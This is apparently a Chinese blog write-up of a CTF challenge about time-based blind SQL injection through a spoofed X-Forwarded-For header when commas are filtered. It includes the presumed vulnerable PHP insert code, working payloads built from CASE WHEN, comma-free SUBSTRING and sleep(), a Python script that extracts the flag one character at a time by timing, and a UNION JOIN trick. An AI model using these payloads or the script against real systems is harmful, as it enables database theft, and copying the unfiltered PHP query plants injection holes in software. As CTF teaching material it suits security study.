mysql无逗号的注入技巧
http://wonderkun.cc/index.html/?p=442
在一个 ctf比赛中,遇到这样一个注入题:
用户的ip可以用x-forwarded-for来伪造,然后把ip存储到数据库中去,对ip没有进行任何过滤,存在注入,但是有一个限制就是: 用‘,’逗号对ip地址进行分割,仅仅取逗号前面的第一部分内容。
然后:没有报错,没有回显,没有bool,只有延时。 送一个字,坑。。。。。
比赛的时候,就各种纠结,想着怎么绕过逗号,没想出来,比赛结束之后,仔细想想,终于搞明白了,做以下的总结。
据我猜测,后台代码可能是这样的:
<?php error_reporting (0);
function
getIp(){
$ip
= '' ;
if (isset( $_SERVER [ 'HTTP_X_FORWARDED_FOR' ])){
$ip
= $_SERVER [ 'HTTP_X_FORWARDED_FOR' ];
} else {
$ip
= $_SERVER [ 'REMOTE_ADDR' ];
} $ip_arr
= explode ( ',' ,
$ip );
return
$ip_arr [0];
} $host = "localhost" ;
$user = "root" ;
$pass = "root" ;
$db = "sangebaimao" ;
$connect
= mysql_connect( $host ,
$user , $pass )
or die ( "Unable to connect" );
mysql_select_db( $db )
or die ( "Unable to select database" );
$ip
= getIp();
echo
'your ip is :' . $ip ;
$sql = "insert into client_ip (ip) values ('$ip')" ;
mysql_query( $sql );
?> |
写一下我的数据库的表结构:
CREATE
TABLE IF NOT
EXISTS `client_ip` (
`id`
int (11) NOT
NULL AUTO_INCREMENT,
`ip`
varchar (200)
DEFAULT NULL ,
PRIMARY
KEY (`id`)
) ENGINE=MyISAM
DEFAULT CHARSET=gbk AUTO_INCREMENT=34 ;
CREATE
TABLE IF NOT
EXISTS `flag` (
`flag`
varchar (32)
DEFAULT NULL
) ENGINE=MyISAM
DEFAULT CHARSET=gbk;
INSERT
INTO `flag` (`flag`) VALUES
( '327a6c4304ad5938eaf0efb6cc3e53dc' );
|
我的目标是注出来flag表中的flag字段。
分析一下:
因为没有报错,没有回显。所以只能是延时盲注。
测试一下:
x - forwarded - for :
10.20 . 0.12 '+sleep(5) and ' 1 '=' 1
|
果真延时了,注入是存在的,但是怎么出数据呢???
没有逗号,所以if函数就不能用了。
那用另外一个:
select
case when (条件)
then 代码1 else
代码 2 end |
把判断搞定了,但是怎么截取字符串呢? 截取字符串函数貌似都需要逗号啊!!!
百度了好久,才知道可以这样玩:
select
substring (( select
user ()) from
1 for
1); #第一种方法
select
substring (( select
user ()) from
-1); #第二种方法
|
截取字符串的函数有了,判断也有了。那就搞定了:
找到两种payload
insert
into client_ip (ip) values
( 'ip' +( select
case when
( substring (( select
user ()) from
1 for
1)= 'e' ) then
sleep(3) else
0 end )); --第一种payload
insert
into client_ip (ip) values
( 'ip' +( select
case when
( substring (( select user ())
from -1)= 't' )
then sleep(3)
else 0 end )); --第二种payload
|
接下来就是写个脚本跑了:
#coding:utf-8
import
requests
maystr = "0987654321qwertyuiopasdfghjklzxcvbnm"
flag = ""
for
i in range ( 32 ):
for
str in
maystr:
headers = { "x-forwarded-for" : "127.0.0.1'+" + "(select
case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(6) else sleep(0) end ) and '1'='1" % (i + 1 , str )}
# proxy={"http":"http://127.0.0.1:8080"}
# res=requests.get(url,headers=headers,timeout=3)
try :
res = requests.get(url,headers = headers,timeout = 4 )
except
requests.exceptions.ReadTimeout,e:
flag = flag + str
print
"flag:" ,flag
break
except
KeyboardInterrupt,e:
exit( 0 )
else :
pass
# rint i+1,str
|
再增加一种绕过逗号的姿势,比如说:
select
id,ip from client_ip
where 1>2 union
select * from ( ( select
user ())a JOIN ( select
version())b ); --这个用于union 查询的注入
|